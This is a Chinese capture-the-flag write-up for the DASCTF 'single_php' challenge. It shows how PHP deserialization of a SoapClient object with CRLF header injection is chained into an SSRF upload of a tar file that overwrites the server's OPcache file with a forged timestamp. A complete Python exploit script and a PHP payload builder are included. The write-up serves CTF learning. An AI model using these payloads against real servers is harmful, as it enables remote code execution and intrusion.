首页 > 编程语言 >[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]single_php复现

[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]single_php复现

时间:2025-01-10 18:38:33浏览次数:1  
标签:string tar 0psu3 single file import php data

[DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]single_php复现

image-20250110171833140

进题如上

传参highlight_file,拿到源码

<!DOCTYPE html>
 <html>
 <head>
 <style>
 img {
 max-width: 200px;
 max-height: 200px;
 }
 </style>
 <title>revenge to siranai.php
 
 
 </title>
 
 </head>
 <body>
 
 <h5>
 This is my wife.She is from Imagination.
 And I,use her name as my id.
 </h5>
 <img src="mywife.png" alt="this is my wife">
 <p>I have been single dog for 19 years.<br>
 One day, my brothers betrayed the singles organization.<br>
 S* and B* ,both of them have the kanozyo.<br>
 Now revenge to them!!!!!<br>
 use '$_GET['LuckyE'](__FILE__);' to begin your revenge!!<br>
 </p>
 </body>
 </html>
 <?php
 error_reporting(0);
 class siroha{
 public $koi;
 
 public function __destruct(){
 $this->koi['zhanjiangdiyishenqing']();
 }
 }
 $kanozyo = $_GET['LuckyE'](__FILE__);
 var_dump($kanozyo);
 $suki = unserialize($_POST['suki']); 

得到提示,revenge to siranai.php

image-20250110172256406

emm,看起来得打Soap反序列化

回到原先的反序列化的页面

搞一个phpinfo看看

image-20250110172906287

image-20250110173851522

这个缓存是放在了/tmp目录下并有时间戳验证,可以先了解opcache执行php代码

那整体的思路应该就是上传我们的恶意压缩包,对原本的缓存文件进行覆盖,变成我们的恶意文件

本地拉取相同版本php的镜像,用脚本进行伪造时间戳

本人代码能力有限,直接使用官方WP的代码

import binascii
import hashlib
import requests
import re
import tarfile
import subprocess
import os
url = "http://97ed25bf-fecf-4710-bd78-9e313a784c29.node5.buuoj.cn:81/?LuckyE=filectime"
def timec():
    pattern = r"\d{10}"  #匹配十位数字
    timeres = requests.get(url=url)
    match = re.search(r"int\((\d{10})\)",timeres.text)#从响应包中提取到时间戳信息
    try:
        ten_digit_number = match.group(1)
        print(ten_digit_number)
        return ten_digit_number  #返回时间戳
    except:
        print('dame')

def split_string_into_pairs(input_string):
    if len(input_string) % 2 != 0:
        raise ValueError("输入字符串的长度必须是偶数")
    pairs = [input_string[i:i+2] for i in range(0, len(input_string), 2)]
    return pairs

def totime(time):
    b = split_string_into_pairs(f"{hex(int(time))}")
    b.pop(0)
    s = ''
    for i in range(0, len(b)):
        s += b[-1]
        b.pop(-1)
    return s
def changetime():
    with open("index.php.bin","rb") as file:
        binary_data = file.read()
        # 将二进制数据转换为十六进制字符串
        hex_data = binascii.hexlify(binary_data).decode('utf-8')
        new_data = hex_data[0:128]+totime(timec())+hex_data[136:]
        with open("index.php.bin","wb") as f:
            f.write(bytes.fromhex(new_data))
changetime()
sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002".encode("utf-8")).hexdigest()
print(sys_id)
def tar_file():
    tar_filename = 'exp.tar'
    with tarfile.open(tar_filename,'w') as tar:
        directory_info = tarfile.TarInfo(name=f'{sys_id}/var/www/html')
        directory_info.type = tarfile.DIRTYPE
        directory_info.mode = 0o777
        tar.addfile(directory_info)
        tar.add('index.php.bin', arcname=f'{sys_id}/var/www/html/index.php.bin')
def upload():
    file = {"file":("exp.tar",open("exp.tar","rb").read(),"application/x-tar")}
    res  = requests.post(url="http://97ed25bf-fecf-4710-bd78-9e313a784c29.node5.buuoj.cn:81/siranai.php",files=file)
    print(res.request.headers)
    return res.request
tar_file()
request_content = upload()
upload_body = str(request_content.body).replace("\"","\\\"")
content_length = request_content.headers['Content-Length']
print(content_length)
print(upload_body)

image-20250110174712860

封装到Soap

<?php
class siroha
{
    public $koi;


}

$postdata = "";
try {
    $a = new SoapClient(null, array('location' => "http://127.0.0.1/siranai.php", 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=" . substr($postdata, 2, 32) . "\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" . "\r\n\r\n" . $postdata,
        'uri' => "http://127.0.0.1/siranai.php"));
} catch (SoapFault $e) {
}
$b = new siroha();
$b->koi = ["zhanjiangdiyishenqing" => [$a, "nnnnn"]];
//通过数组调用类方法调用一个不存在的方法触发::__call魔术方法
echo urlencode(serialize($b));

BP放包

image-20250110174642997

这就已经覆盖成功了,直接传参拿到flag

image-20250110175053635

这题确实不好写,据说当时是零解,我现在写都不好写【大哭】

标签:string,tar,0psu3,single,file,import,php,data
From: https://www.cnblogs.com/Zer0-blog/p/18664427

相关文章

  • php用token做登录认证
    https://blog.csdn.net/qq_20869933/article/details/133201967作用:PHP使用token验证可有效的防止非法来源数据提交访问,增加数据操作的安全性实例:第一种:/**第一步:生成token*/publicfunctionCreateToken($userid){//用户名、此时的时间戳,并将过期时间拼接在一起......
  • python+django/flask的惠安租房管理平台java+nodejs+php-计算机毕业设计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • python+django/flask的会议室预定系统java+nodejs+php-计算机毕业设计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • php NFA灾难回溯
    正则分为NFA和DFA两种,而php中使用的是NFA.php通过pcre.backtrack_limit来限制回溯次数,如果超过了这个限制,就会返回false.pcre.backtrack_limit默认值是100万.因此我们可以通过传入大量的垃圾字符或是触发灾难性回溯来超过限制,从而绕过preg_match.除此以外,在进行文件上传类......
  • php反序列化
    一、序列化和反序列化1.什么是序列化和反序列化序列化(Serialization):把对象转换为字符串进行存储的过程反序列化(DeSerialization):把存储的字符串恢复为对象的过程2.应用场景:当对象需要被网络传输时当对象状态需要被持久化时3.序列化函数和反序列化函数:①序列化:seria......
  • 如何修改PHP最大文件上传大小限制
    默认情况下,PHP上传文件大小限制是2M,超过2M上传将会报错。如果我们上传的图片或压缩包超过2M,需要修改PHP的配置文件最大上传限制。找到PHP组件目录下的php.ini文件,使用记事本打开,查找post_max_size(允许POST数据大小)值修改成10M或更大,查找upload_max_filesize(允许上传文件大小)值,可......
  • 如何在服务器上查看当前运行的PHP版本?
    要查看主机当前运行的PHP版本,您可以按照以下步骤操作。这种方法简单且适用于大多数Web服务器环境。步骤描述1创建一个新的PHP文件,例如info.php。2在文件中添加以下代码: php<br>phpinfo();<br>3将该文件上传到您的Web服务器的根目录。4在浏览器中访问h......
  • 小九源码-php001-基于PHP的高校毕业生就业服务平台
    ......
  • php8.1新特性
        php8.0到php8.1增加了不少新特性,大部分只是做了小的一些调整,接下来我们将会学习在项目中经常用到或者说比较具有意义的新特性。 一、枚举      枚举可以算得上是“千呼万唤始出来”,在这之前我们可以看到很多php程序员在社区、论坛这些地方表达了对枚......
  • 提升 PHP 编码效率的 10 个实用函数
    PHP开发者始终追求更简洁、高效的代码。幸运的是,PHP提供了丰富的内置函数,能显著减少手动编码,提升开发效率。无论经验深浅,掌握这些函数的使用技巧都至关重要。以下列出了10个可以显著加快您的编码过程的PHP函数:1、array_map()array_map() 当需要对数组每个元素执行相同......